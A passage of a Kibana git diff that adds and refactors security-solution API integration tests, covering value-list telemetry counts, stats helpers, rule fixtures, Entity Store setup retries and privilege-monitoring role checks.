min_items_per_list: 0, + median_items_per_list: 0, + }, + rule_default: { + lists: 1, + total_items: 1, + max_items_per_list: 1, + min_items_per_list: 1, + median_items_per_list: 1, + }, + detection: { + lists: 2, + max_items_per_list: 0, + median_items_per_list: 0, + min_items_per_list: 0, + total_items: 0, + }, + }, + }; + expect(stats).to.eql(expected); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/value_list_metrics.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/value_list_metrics.ts new file mode 100644 index 0000000000000..ec81495c0497d --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/value_list_metrics.ts @@ -0,0 +1,177 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from '@kbn/expect'; + +import { LIST_ITEM_URL, LIST_URL } from '@kbn/securitysolution-list-constants'; +import { + getCreateMinimalListSchemaMock, + getCreateMinimalListSchemaMockWithoutId, +} from '@kbn/lists-plugin/common/schemas/request/create_list_schema.mock'; +import { ValueListMetricsSchema } from '@kbn/security-solution-plugin/server/usage/value_lists/types'; +import { getImportListItemAsBuffer } from '@kbn/lists-plugin/common/schemas/request/import_list_item_schema.mock'; +import { getCreateMinimalListItemSchemaMock } from '@kbn/lists-plugin/common/schemas/request/create_list_item_schema.mock'; +import { deleteAllEventLogExecutionEvents } from '../../../utils'; +import { createListsIndex, deleteListsIndex } from '../../../../lists_and_exception_lists/utils'; +import { FtrProviderContext } from '../../../../../ftr_provider_context'; +import { getValueListStats } from '../../../utils/get_value_list_metrics_stats'; + +export default ({ getService }: FtrProviderContext) => { + const supertest = getService('supertest'); + const log = getService('log'); + const es = getService('es'); + + describe('@ess @serverless Value list telemetry', () => { + beforeEach(async () => { + await createListsIndex(supertest, log); + await deleteAllEventLogExecutionEvents(es, log); + }); + + afterEach(async () => { + await deleteListsIndex(supertest, log); + await deleteAllEventLogExecutionEvents(es, log); + }); + + it('should display list counts', async () => { + await supertest + .post(LIST_URL) + .set('kbn-xsrf', 'true') + .send(getCreateMinimalListSchemaMockWithoutId()) + .expect(200); + + await supertest + .post(LIST_URL) + .set('kbn-xsrf', 'true') + .send({ ...getCreateMinimalListSchemaMockWithoutId(), type: 'keyword' }) + .expect(200); + + await supertest + .post(LIST_URL) + .set('kbn-xsrf', 'true') + .send({ ...getCreateMinimalListSchemaMockWithoutId(), type: 'binary' }) + .expect(200); + + await supertest + .post(LIST_URL) + .set('kbn-xsrf', 'true') + .send({ ...getCreateMinimalListSchemaMockWithoutId(), type: 'text' }) + .expect(200); + + await supertest + .post(LIST_URL) + .set('kbn-xsrf', 'true') + .send({ ...getCreateMinimalListSchemaMockWithoutId(), type: 'ip_range' }) + .expect(200); + + const stats = await getValueListStats(supertest, log); + const expected: ValueListMetricsSchema = { + items_overview: { + total: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + lists_overview: { + total: 5, + binary: 1, + boolean: 0, + byte: 0, + date: 0, + date_nanos: 0, + date_range: 0, + double: 0, + double_range: 0, + float: 0, + float_range: 0, + geo_point: 0, + geo_shape: 0, + half_float: 0, + integer: 0, + integer_range: 0, + ip: 1, + ip_range: 1, + keyword: 1, + long: 0, + long_range: 0, + shape: 0, + short: 0, + text: 1, + }, + }; + expect(stats).to.eql(expected); + }); + + it('should display item counts', async () => { + await supertest + .post(`${LIST_ITEM_URL}/_import?type=ip`) + .set('kbn-xsrf', 'true') + .attach( + 'file', + getImportListItemAsBuffer([ + '127.0.0.1', + '127.0.0.2', + '127.0.0.3', + '127.0.0.4', + '127.0.0.5', + '127.0.0.6', + ]), + 'list_items.txt' + ) + .expect('Content-Type', 'application/json; charset=utf-8') + .expect(200); + + await supertest + .post(LIST_URL) + .set('kbn-xsrf', 'true') + .send(getCreateMinimalListSchemaMock()) + .expect(200); + + await supertest + .post(LIST_ITEM_URL) + .set('kbn-xsrf', 'true') + .send(getCreateMinimalListItemSchemaMock()) + .expect(200); + + const stats = await getValueListStats(supertest, log); + const expected: ValueListMetricsSchema = { + items_overview: { + total: 7, + max_items_per_list: 6, + min_items_per_list: 1, + median_items_per_list: 6, + }, + lists_overview: { + total: 2, + binary: 0, + boolean: 0, + byte: 0, + date: 0, + date_nanos: 0, + date_range: 0, + double: 0, + double_range: 0, + float: 0, + float_range: 0, + geo_point: 0, + geo_shape: 0, + half_float: 0, + integer: 0, + integer_range: 0, + ip: 2, + ip_range: 0, + keyword: 0, + long: 0, + long_range: 0, + shape: 0, + short: 0, + text: 0, + }, + }; + expect(stats).to.eql(expected); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_exception_metrics_from_body.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_exception_metrics_from_body.ts new file mode 100644 index 0000000000000..409c06b968306 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_exception_metrics_from_body.ts @@ -0,0 +1,25 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { ExceptionMetricsSchema } from '@kbn/security-solution-plugin/server/usage/exceptions/types'; + +/** + * Given a body this will return the detection metrics from it. + * @param body The Stats body + * @returns Exception metrics + */ +export const getExceptionMetricsFromBody = ( + body: Array<{ + stats: { + stack_stats: { + kibana: { plugins: { security_solution: { exceptionsMetrics: ExceptionMetricsSchema } } }; + }; + }; + }> +): ExceptionMetricsSchema => { + return body[0].stats.stack_stats.kibana.plugins.security_solution.exceptionsMetrics; +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_exception_metrics_stats.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_exception_metrics_stats.ts new file mode 100644 index 0000000000000..66a6a0699f58a --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_exception_metrics_stats.ts @@ -0,0 +1,43 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { ToolingLog } from '@kbn/tooling-log'; +import type SuperTest from 'supertest'; +import { + ELASTIC_HTTP_VERSION_HEADER, + X_ELASTIC_INTERNAL_ORIGIN_REQUEST, +} from '@kbn/core-http-common'; + +import { ExceptionMetricsSchema } from '@kbn/security-solution-plugin/server/usage/exceptions/types'; +import { getStatsUrl } from './get_stats_url'; +import { getExceptionMetricsFromBody } from './get_exception_metrics_from_body'; + +/** + * Gets the exceptions stats from the stats endpoint. + * @param supertest The supertest agent. + * @returns The exception metrics + */ +export const getExceptionsStats = async ( + supertest: SuperTest.Agent, + log: ToolingLog +): Promise => { + const response = await supertest + .post(getStatsUrl()) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '2') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') + .send({ unencrypted: true, refreshCache: true }); + if (response.status !== 200) { + log.error( + `Did not get an expected 200 "ok" when getting the stats for exceptions. CI issues could happen. Suspect this line if you are seeing CI issues. body: ${JSON.stringify( + response.body + )}, status: ${JSON.stringify(response.status)}` + ); + } + + return getExceptionMetricsFromBody(response.body); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_value_list_metrics_from_body.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_value_list_metrics_from_body.ts new file mode 100644 index 0000000000000..291912d7f748d --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_value_list_metrics_from_body.ts @@ -0,0 +1,25 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { ValueListMetricsSchema } from '@kbn/security-solution-plugin/server/usage/value_lists/types'; + +/** + * Given a body this will return the value list metrics from it. + * @param body The Stats body + * @returns Value list metrics + */ +export const getValueListMetricsFromBody = ( + body: Array<{ + stats: { + stack_stats: { + kibana: { plugins: { security_solution: { valueListsMetrics: ValueListMetricsSchema } } }; + }; + }; + }> +): ValueListMetricsSchema => { + return body[0].stats.stack_stats.kibana.plugins.security_solution.valueListsMetrics; +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_value_list_metrics_stats.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_value_list_metrics_stats.ts new file mode 100644 index 0000000000000..8872e26fefd9e --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/get_value_list_metrics_stats.ts @@ -0,0 +1,43 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { ToolingLog } from '@kbn/tooling-log'; +import type SuperTest from 'supertest'; +import { + ELASTIC_HTTP_VERSION_HEADER, + X_ELASTIC_INTERNAL_ORIGIN_REQUEST, +} from '@kbn/core-http-common'; + +import { ValueListMetricsSchema } from '@kbn/security-solution-plugin/server/usage/value_lists/types'; +import { getStatsUrl } from './get_stats_url'; +import { getValueListMetricsFromBody } from './get_value_list_metrics_from_body'; + +/** + * Gets the value lists from the stats endpoint. + * @param supertest The supertest agent. + * @returns The value list metrics + */ +export const getValueListStats = async ( + supertest: SuperTest.Agent, + log: ToolingLog +): Promise => { + const response = await supertest + .post(getStatsUrl()) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '2') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') + .send({ unencrypted: true, refreshCache: true }); + if (response.status !== 200) { + log.error( + `Did not get an expected 200 "ok" when getting the stats for value lists. CI issues could happen. Suspect this line if you are seeing CI issues. body: ${JSON.stringify( + response.body + )}, status: ${JSON.stringify(response.status)}` + ); + } + + return getValueListMetricsFromBody(response.body); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/create_rule_saved_object.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/create_rule_saved_object.ts index f4e3f22a0c9a6..39cabfa706fa6 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/create_rule_saved_object.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/create_rule_saved_object.ts @@ -8,10 +8,9 @@ import type SuperTest from 'supertest'; import { Rule } from '@kbn/alerting-plugin/common'; -import { - BaseRuleParams, - InternalRuleCreate, -} from '@kbn/security-solution-plugin/server/lib/detection_engine/rule_schema'; +import { BaseRuleParams } from '@kbn/security-solution-plugin/server/lib/detection_engine/rule_schema'; +import { RuleParamsWithDefaultValue } from '@kbn/response-ops-rule-params'; +import { CreateRuleRequestBody } from '@kbn/alerting-plugin/common/routes/rule/apis/create'; /** * Creates a rule using the alerting APIs directly. @@ -22,7 +21,7 @@ import { */ export const createRuleThroughAlertingEndpoint = async ( supertest: SuperTest.Agent, - rule: InternalRuleCreate + rule: CreateRuleRequestBody ): Promise> => { const { body } = await supertest .post('/api/alerting/rule') diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/get_rule_with_legacy_investigation_fields.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/get_rule_with_legacy_investigation_fields.ts index 9b315dbd9dbb5..b78df95b4860c 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/get_rule_with_legacy_investigation_fields.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/get_rule_with_legacy_investigation_fields.ts @@ -5,128 +5,85 @@ * 2.0. */ -import { InternalRuleCreate } from '@kbn/security-solution-plugin/server/lib/detection_engine/rule_schema'; +import { RuleParamsWithDefaultValue } from '@kbn/response-ops-rule-params'; +import { CreateRuleRequestBody } from '@kbn/alerting-plugin/common/routes/rule/apis/create'; + +const baseBody = { + name: 'Test investigation fields', + tags: ['migration'], + rule_type_id: 'siem.queryRule', + consumer: 'siem', + schedule: { + interval: '5m', + }, + enabled: false, + actions: [], + throttle: null, +}; + +const baseParams: RuleParamsWithDefaultValue = { + alertSuppression: undefined, + author: [], + buildingBlockType: undefined, + dataViewId: undefined, + description: 'a', + exceptionsList: [], + falsePositives: [], + filters: [], + from: '1900-01-01T00:00:00.000Z', + immutable: false, + index: ['auditbeat-*'], + investigationFields: ['client.address', 'agent.name'], + language: 'kuery', + license: '', + maxSignals: 100, + meta: undefined, + namespace: undefined, + note: undefined, + outputIndex: '', + query: '_id:BhbXBmkBR346wHgn4PeZ or _id:GBbXBmkBR346wHgn5_eR or _id:x10zJ2oE9v5HJNSHhyxi', + references: [], + relatedIntegrations: [], + requiredFields: undefined, + responseActions: undefined, + riskScore: 21, + riskScoreMapping: [], + ruleId: '2297be91-894c-4831-830f-b424a0ec84f0', + ruleNameOverride: undefined, + savedId: undefined, + setup: '', + severity: 'low', + severityMapping: [], + threat: [], + timelineId: undefined, + timelineTitle: undefined, + timestampOverride: undefined, + timestampOverrideFallbackDisabled: undefined, + to: 'now', + type: 'query', + version: 1, +}; export const getRuleSavedObjectWithLegacyInvestigationFields = ( - rewrites?: Partial -): InternalRuleCreate => - ({ - name: 'Test investigation fields', - tags: ['migration'], - rule_type_id: 'siem.queryRule', - consumer: 'siem', - params: { - author: [], - buildingBlockType: undefined, - falsePositives: [], - description: 'a', - ruleId: '2297be91-894c-4831-830f-b424a0ec84f0', - from: '1900-01-01T00:00:00.000Z', - immutable: false, - license: '', - outputIndex: '', - investigationFields: ['client.address', 'agent.name'], - maxSignals: 100, - meta: undefined, - riskScore: 21, - riskScoreMapping: [], - severity: 'low', - severityMapping: [], - threat: [], - to: 'now', - references: [], - timelineId: undefined, - timelineTitle: undefined, - ruleNameOverride: undefined, - timestampOverride: undefined, - timestampOverrideFallbackDisabled: undefined, - namespace: undefined, - note: undefined, - requiredFields: undefined, - version: 1, - exceptionsList: [], - relatedIntegrations: [], - setup: '', - type: 'query', - language: 'kuery', - index: ['auditbeat-*'], - query: '_id:BhbXBmkBR346wHgn4PeZ or _id:GBbXBmkBR346wHgn5_eR or _id:x10zJ2oE9v5HJNSHhyxi', - filters: [], - savedId: undefined, - responseActions: undefined, - alertSuppression: undefined, - dataViewId: undefined, - ...rewrites?.params, - }, - schedule: { - interval: '5m', - }, - enabled: false, - actions: [], - throttle: null, - ...rewrites, - // cast is due to alerting API expecting rule_type_id - // and our internal schema expecting alertTypeId - } as unknown as InternalRuleCreate); + rewrites?: Partial> +): CreateRuleRequestBody => ({ + ...baseBody, + params: { + ...baseParams, + ...rewrites?.params, + }, + ...rewrites, +}); export const getRuleSavedObjectWithLegacyInvestigationFieldsEmptyArray = ( - rewrites?: Partial -): InternalRuleCreate => - ({ - name: 'Test investigation fields empty array', - tags: ['migration'], - rule_type_id: 'siem.queryRule', - consumer: 'siem', - params: { - author: [], - description: 'a', - ruleId: '2297be91-894c-4831-830f-b424a0ec5678', - falsePositives: [], - from: '1900-01-01T00:00:00.000Z', - immutable: false, - license: '', - outputIndex: '', - investigationFields: [], - maxSignals: 100, - riskScore: 21, - riskScoreMapping: [], - severity: 'low', - severityMapping: [], - threat: [], - to: 'now', - references: [], - version: 1, - exceptionsList: [], - type: 'query', - language: 'kuery', - index: ['auditbeat-*'], - query: '_id:BhbXBmkBR346wHgn4PeZ or _id:GBbXBmkBR346wHgn5_eR or _id:x10zJ2oE9v5HJNSHhyxi', - filters: [], - relatedIntegrations: [], - setup: '', - buildingBlockType: undefined, - meta: undefined, - timelineId: undefined, - timelineTitle: undefined, - ruleNameOverride: undefined, - timestampOverride: undefined, - timestampOverrideFallbackDisabled: undefined, - namespace: undefined, - note: undefined, - requiredFields: undefined, - savedId: undefined, - responseActions: undefined, - alertSuppression: undefined, - dataViewId: undefined, - ...rewrites?.params, - }, - schedule: { - interval: '5m', - }, - enabled: false, - actions: [], - throttle: null, - ...rewrites, - // cast is due to alerting API expecting rule_type_id - // and our internal schema expecting alertTypeId - } as unknown as InternalRuleCreate); + rewrites?: Partial> +): CreateRuleRequestBody => ({ + ...baseBody, + params: { + ...baseParams, + ruleId: 'rule-with-legacy-investigation-fields-empty-array', + investigationFields: [], + ...rewrites?.params, + }, + ...rewrites, +}); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/install_fleet_package.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/install_fleet_package.ts index 6074169642c90..896fc03352ca1 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/install_fleet_package.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/install_fleet_package.ts @@ -100,9 +100,9 @@ export const installPrebuiltRulesPackageByVersion = async ( return fleetResponse as InstallPackageResponse; }; -export const MOCK_SECURITY_DETECTION_ENGINE_PACKAGE_PATH = path.join( +const MOCK_SECURITY_DETECTION_ENGINE_PACKAGE_PATH = path.join( path.dirname(__filename), - './fixtures/packages/mock-security_detection_engine-99.0.0.zip' + '../../../rules_management/prebuilt_rules/common/fixtures/packages/security_detection_engine-99.0.0.zip' ); /** diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/review_install_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/review_install_prebuilt_rules.ts index 487d2dbe53044..228ca6ff73ed5 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/review_install_prebuilt_rules.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/review_install_prebuilt_rules.ts @@ -10,7 +10,7 @@ import { ReviewRuleInstallationResponseBody } from '@kbn/security-solution-plugi import type SuperTest from 'supertest'; /** - * Returns prebuilt rules that are avaialble to install + * Returns prebuilt rules that are available to install * * @param supertest SuperTest instance * @returns Review Install prebuilt rules response diff --git a/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/authentication/trial_license_complete_tier/endpoint_authz.ts b/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/authentication/trial_license_complete_tier/endpoint_authz.ts index df2f55ccb8d04..8ecb7d2d0d027 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/authentication/trial_license_complete_tier/endpoint_authz.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/authentication/trial_license_complete_tier/endpoint_authz.ts @@ -54,7 +54,7 @@ export default function ({ getService }: FtrProviderContext) { }, { method: 'get', - path: `${ACTION_STATUS_ROUTE}?agent_ids=1,2`, + path: `${ACTION_STATUS_ROUTE}?agent_ids={agentId}`, version: '2023-10-31', body: undefined, }, diff --git a/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/response_actions/trial_license_complete_tier/agent_type_support.ts b/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/response_actions/trial_license_complete_tier/agent_type_support.ts index 9fbc8e3f15507..6b98cd7b61802 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/response_actions/trial_license_complete_tier/agent_type_support.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/edr_workflows/response_actions/trial_license_complete_tier/agent_type_support.ts @@ -28,7 +28,8 @@ export default function ({ getService }: FtrProviderContext) { .expect(400, { statusCode: 400, error: 'Bad Request', - message: 'No stack connector instance configured for [.sentinelone]', + message: + 'Unable to build list of indexes while retrieving policy information for SentinelOne agents [test]. Check to ensure at least one integration policy exists.', }); }); }); diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/entity_store/trial_license_complete_tier/host_transform.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/entity_store/trial_license_complete_tier/host_transform.ts index 5335de6388694..388c57cb45c6d 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/entity_store/trial_license_complete_tier/host_transform.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/entity_store/trial_license_complete_tier/host_transform.ts @@ -19,14 +19,13 @@ import { EntityStoreUtils } from '../../utils'; const DATASTREAM_NAME: string = 'logs-elastic_agent.cloudbeat-test'; const HOST_TRANSFORM_ID: string = 'entities-v1-latest-security_host_default'; const INDEX_NAME: string = '.entities.v1.latest.security_host_default'; -const TIMEOUT_MS: number = 300000; // 5 minutes +const TIMEOUT_MS: number = 600000; // 10 minutes export default function (providerContext: FtrProviderContext) { const supertest = providerContext.getService('supertest'); const retry = providerContext.getService('retry'); const es = providerContext.getService('es'); const dataView = dataViewRouteHelpersFactory(supertest); - const utils = EntityStoreUtils(providerContext.getService); describe('@ess Host transform logic', () => { describe('Entity Store is not installed by default', () => { @@ -40,7 +39,7 @@ export default function (providerContext: FtrProviderContext) { describe('Install Entity Store and test Host transform', () => { before(async () => { - await utils.cleanEngines(); + await cleanUpEntityStore(providerContext); // Initialize security solution by creating a prerequisite index pattern. // Helps avoid "Error initializing entity store: Data view not found 'security-solution-default'" await dataView.create('security-solution'); @@ -55,26 +54,11 @@ export default function (providerContext: FtrProviderContext) { beforeEach(async () => { // Now we can enable the Entity Store... - const response = await supertest - .post('/api/entity_store/enable') - .set('kbn-xsrf', 'xxxx') - .send({}); - expect(response.statusCode).to.eql(200); - expect(response.body.succeeded).to.eql(true); - - // and wait for it to start up - await retry.waitForWithTimeout('Entity Store to initialize', TIMEOUT_MS, async () => { - const { body } = await supertest - .get('/api/entity_store/status') - .query({ include_components: true }) - .expect(200); - expect(body.status).to.eql('running'); - return true; - }); + await enableEntityStore(providerContext); }); afterEach(async () => { - await utils.cleanEngines(); + await cleanUpEntityStore(providerContext); }); it("Should return 200 and status 'running' for all engines", async () => { @@ -264,6 +248,69 @@ async function createDocumentsAndTriggerTransform( }); } +async function enableEntityStore(providerContext: FtrProviderContext): Promise { + const log = providerContext.getService('log'); + const supertest = providerContext.getService('supertest'); + const retry = providerContext.getService('retry'); + + const RETRIES = 5; + let success: boolean = false; + for (let attempt = 0; attempt < RETRIES; attempt++) { + const response = await supertest + .post('/api/entity_store/enable') + .set('kbn-xsrf', 'xxxx') + .send({}); + expect(response.statusCode).to.eql(200); + expect(response.body.succeeded).to.eql(true); + + // and wait for it to start up + await retry.waitForWithTimeout('Entity Store to initialize', TIMEOUT_MS, async () => { + const { body } = await supertest + .get('/api/entity_store/status') + .query({ include_components: true }) + .expect(200); + if (body.status === 'error') { + log.error(`Expected body.status to be 'running', got 'error': ${JSON.stringify(body)}`); + success = false; + return true; + } + expect(body.status).to.eql('running'); + success = true; + return true; + }); + + if (success) { + break; + } else { + log.info(`Retrying Entity Store setup...`); + await cleanUpEntityStore(providerContext); + } + } + expect(success).ok(); +} + +async function cleanUpEntityStore(providerContext: FtrProviderContext): Promise { + const log = providerContext.getService('log'); + const es = providerContext.getService('es'); + const utils = EntityStoreUtils(providerContext.getService); + const attempts = 5; + const delayMs = 60000; + + await utils.cleanEngines(); + for (const kind of ['host', 'user', 'service', 'generic']) { + const name: string = `entity_store_field_retention_${kind}_default_v1.0.0`; + for (let currentAttempt = 0; currentAttempt < attempts; currentAttempt++) { + try { + await es.enrich.deletePolicy({ name }, { ignore: [404] }); + break; + } catch (e) { + log.error(`Error deleting policy ${name}: ${e.message} after ${currentAttempt} tries`); + } + await new Promise((resolve) => setTimeout(resolve, delayMs)); + } + } +} + interface HostTransformResult { host: HostTransformResultHost; } diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/index.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/index.ts index 46d50d49ddbcf..e2a7115a8c288 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/index.ts @@ -11,6 +11,7 @@ export default function ({ loadTestFile }: FtrProviderContext) { describe('Entity Analytics - Privilege Monitoring', function () { loadTestFile(require.resolve('./engine')); loadTestFile(require.resolve('./search_indices')); + loadTestFile(require.resolve('./privilege_monitoring_privileges_check')); loadTestFile(require.resolve('./privileged_users/api')); }); } diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/privilege_monitoring_privileges_check.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/privilege_monitoring_privileges_check.ts new file mode 100644 index 0000000000000..34ba28cfb100e --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/privilege_monitoring_privileges_check.ts @@ -0,0 +1,176 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from '@kbn/expect'; +import { SECURITY_FEATURE_ID } from '@kbn/security-solution-plugin/common'; +import { FtrProviderContext } from '../../../../ftr_provider_context'; +import { privilegeMonitoringRouteHelpersFactoryNoAuth } from '../../utils/privilege_monitoring'; +import { usersAndRolesFactory } from '../../utils/users_and_roles'; + +const USER_PASSWORD = 'changeme'; +const BASIC_SECURITY_SOLUTION_PRIVILEGES = [ + { + feature: { + [SECURITY_FEATURE_ID]: ['read'], + }, + spaces: ['default'], + }, +]; +const READ_ALL_INDICES_ROLE = { + name: 'all', + privileges: { + kibana: BASIC_SECURITY_SOLUTION_PRIVILEGES, + elasticsearch: { + indices: [ + { + names: ['*'], + privileges: ['read'], + }, + ], + }, + }, +}; + +const READ_PRIV_MON_INDICES_ROLE = { + name: 'priv_mon_read', + privileges: { + kibana: BASIC_SECURITY_SOLUTION_PRIVILEGES, + elasticsearch: { + indices: [ + { + names: ['.entity_analytics.monitoring*'], + privileges: ['read'], + }, + ], + }, + }, +}; + +const READ_NO_INDEX_ROLE = { + name: 'no_index', + privileges: { + kibana: BASIC_SECURITY_SOLUTION_PRIVILEGES, + elasticsearch: { + indices: [], + }, + }, +}; + +const ROLES = [READ_ALL_INDICES_ROLE, READ_PRIV_MON_INDICES_ROLE, READ_NO_INDEX_ROLE]; + +export default ({ getService }: FtrProviderContext) => { + const supertestWithoutAuth = getService('supertestWithoutAuth'); + const privMonRoutesNoAuth = privilegeMonitoringRouteHelpersFactoryNoAuth(supertestWithoutAuth); + const userHelper = usersAndRolesFactory(getService('security')); + + async function createPrivilegeTestUsers() { + const rolePromises = ROLES.map((role) => userHelper.createRole(role)); + + await Promise.all(rolePromises); + const userPromises = ROLES.map((role) => + userHelper.createUser({ username: role.name, roles: [role.name], password: USER_PASSWORD }) + ); + + return Promise.all(userPromises); + } + + async function deletePrivilegeTestUsers() { + const userPromises = ROLES.map((role) => userHelper.deleteUser(role.name)); + const rolePromises = ROLES.map((role) => userHelper.deleteRole(role.name)); + await Promise.all([...userPromises, ...rolePromises]); + } + + const getPrivilegesForUsername = async (username: string) => + privMonRoutesNoAuth.privilegesForUser({ + username, + password: USER_PASSWORD, + }); + + describe('@ess @skipInServerlessMKI Entity Privilege Monitoring APIs', () => { + describe('privileges checks', () => { + before(async () => { + await createPrivilegeTestUsers(); + }); + + after(async () => { + await deletePrivilegeTestUsers(); + }); + + it('should return has_all_required true for user with all priv_mon privileges', async () => { + const { body } = await getPrivilegesForUsername(READ_ALL_INDICES_ROLE.name); + expect(body.has_all_required).to.eql(true); + expect(body.privileges).to.eql({ + elasticsearch: { + index: { + '.alerts-security.alerts-default': { + read: true, + }, + '.entity_analytics.monitoring.users-default': { + read: true, + }, + '.ml-anomalies-shared': { + read: true, + }, + 'risk-score.risk-score-*': { + read: true, + }, + }, + }, + kibana: {}, + }); + }); + + it('should return has_all_required false for user with no privileges', async () => { + const { body } = await getPrivilegesForUsername(READ_NO_INDEX_ROLE.name); + expect(body.has_all_required).to.eql(false); + expect(body.privileges).to.eql({ + elasticsearch: { + index: { + '.alerts-security.alerts-default': { + read: false, + }, + '.entity_analytics.monitoring.users-default': { + read: false, + }, + '.ml-anomalies-shared': { + read: false, + }, + 'risk-score.risk-score-*': { + read: false, + }, + }, + }, + kibana: {}, + }); + }); + + it('should return has_all_required false for user with partial index privileges', async () => { + const { body } = await getPrivilegesForUsername(READ_PRIV_MON_INDICES_ROLE.name); + expect(body.has_all_required).to.eql(false); + expect(body.privileges).to.eql({ + elasticsearch: { + index: { + '.alerts-security.alerts-default': { + read: false, + }, + '.entity_analytics.monitoring.users-default': { + read: true, + }, + '.ml-anomalies-shared': { + read: false, + }, + 'risk-score.risk-score-*': { + read: false, + }, + }, + }, + kibana: {}, + }); + }); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/search_indices.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/search_indices.ts index 58dddea6a3145..b1484c07b2a24 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/search_indices.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/monitoring/trial_license_complete_tier/search_indices.ts @@ -6,7 +6,8 @@ */ import expect 